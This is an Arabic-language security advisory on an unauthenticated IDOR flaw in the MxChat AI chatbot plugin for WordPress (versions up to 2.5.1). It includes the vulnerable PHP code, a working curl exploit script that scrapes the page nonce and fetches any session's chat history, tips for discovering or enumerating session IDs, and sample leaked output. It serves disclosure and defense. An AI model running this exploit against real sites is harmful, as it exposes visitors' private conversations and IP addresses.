
MxChat – روبوت محادثة بالذكاء الاصطناعي لووردبريس <= 2.5.1 - كشف معلومات بدون مصادقة
لا يتحقق إضافة MxChat Basic من ملكية الجلسة في نقطة نهاية AJAX الخاصة بـ mxchat_fetch_conversation_history، مما يسمح للمستخدمين غير المصادق عليهم بالوصول إلى سجل محادثات المستخدمين الآخرين وعناوين IP الخاصة بهم من خلال ثغرات الإحالة المباشرة غير الآمنة للكائنات (IDOR).
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=$SESSION_ID" \
-d "nonce=$NONCE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest" | jq
الدالة mxchat_fetch_conversation_history() الموجودة في الملف /includes/class-mxchat-integrator.php تسترجع بيانات المحادثة استنادًا فقط إلى session_id مقدَّم من العميل دون التحقق من أن الطالب يملك الجلسة. وهذا يسمح لأي مستخدم غير مصادَق عليه يمتلك nonce صالحًا (متاح عبر JavaScript في الواجهة الأمامية) بالوصول إلى بيانات المحادثات الخاصة للمستخدمين الآخرين. بالإضافة إلى ذلك، يتضمن سجل المحادثات عناوين IP الخاصة بالمستخدمين والمخزنة في الحقل agent_name، والتي يتم الكشف عنها إلى جانب بيانات المحادثة.
يحدث كشف عنوان IP أثناء عملية تخزين الرسائل:
موجود في class-mxchat-integrator.php:
361 // 4) Determine user_identifier
362 $user_identifier = $agent_name
363 ? $agent_name
364 : MxChat_User::mxchat_get_user_identifier();
حيث تُرجع الدالة MxChat_User::mxchat_get_user_identifier() عنوان IP الخاص بالمستخدم للمستخدمين غير المصادق عليهم:
9 public static function mxchat_get_user_identifier() {
10 if (is_user_logged_in()) {
11 $current_user = wp_get_current_user();
12 return $current_user->user_login;
13 } else {
14 return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15 }
16 }
بعد ذلك، يُخزَّن عنوان IP هذا في سجل المحادثات باسم agent_name ويُكشَف عند استرجاع بيانات المحادثة.
تُضمَّن معرفات الجلسة مباشرة في أسماء الملفات المرفوعة. عندما يرفع المستخدمون مستندات PDF أو Word عبر واجهة الدردشة، تُحفظ الملفات بأنماط تسمية يمكن توقعها: mxchat_{session_id}_{timestamp}.pdf و mxchat_word_{session_id}_{timestamp}.docx. وهذا يجعل معرفات الجلسة قابلة للاكتشاف عبر نواقل هجوم مختلفة: سرد الدليل إذا كانت فهرسة الخادم مفعّلة على دليل الرفع، أو الوصول إلى مكتبة وسائط ووردبريس، أو احتمالية فهرستها بواسطة محركات البحث، وغيرها.
المقطع البرمجي الهش من class-mxchat-integrator.php:
107 function mxchat_fetch_conversation_history() {
108 if (empty($_POST['session_id'])) {
109 wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110 wp_die();
111 }
112
113 $session_id = sanitize_text_field($_POST['session_id']);
114 $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115 $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116
117 if (empty($history)) {
118 wp_send_json_success([
119 'conversation' => [],
120 'chat_mode' => $chat_mode
121 ]);
122 wp_die();
123 }
124
125 wp_send_json_success([
126 'conversation' => $history,
127 'chat_mode' => $chat_mode
128 ]);
129 wp_die();
130 }
انتقل إلى أي صفحة على موقع ووردبريس المستهدف واستخرج mxchat_chat_nonce من مصدر الصفحة. يتم كشف الـ nonce في JavaScript للواجهة الأمامية باسم mxchatChat.nonce وهو متاح لجميع الزوار.
حدد معرف جلسة (الصيغة: mxchat_chat_{9 alphanumeric characters}). يمكن اكتشاف معرفات الجلسات من خلال أسماء الملفات المرفوعة إذا كان سرد الدليل أو الوصول إلى مكتبة الوسائط مفعّلاً، أو تعدادها عبر اختبار أنماط متسلسلة أو قيم شائعة.
نفّذ أمر curl التالي لاسترجاع سجل المحادثات من أي جلسة:
curl -X POST http://example.com/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=mxchat_chat_7jxi3jsdb" \
-d "nonce=YOUR_NONCE_HERE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest"
{
"success": true,
"data": {
"conversation": [
{
"id": "6903e8a1e195e",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863841925,
"agent_name": "IP.REDACTED"
},
{
"id": "6903e8a33c86a",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863843248,
"agent_name": "IP.REDACTED"
}
],
"chat_mode": "ai"
}
}
يحتوي الحقل agent_name على عنوان IP الخاص بالمستخدم ($_SERVER['REMOTE_ADDR']) للمستخدمين غير المصادق عليهم، والذي يتم كشفه إلى جانب بيانات المحادثة.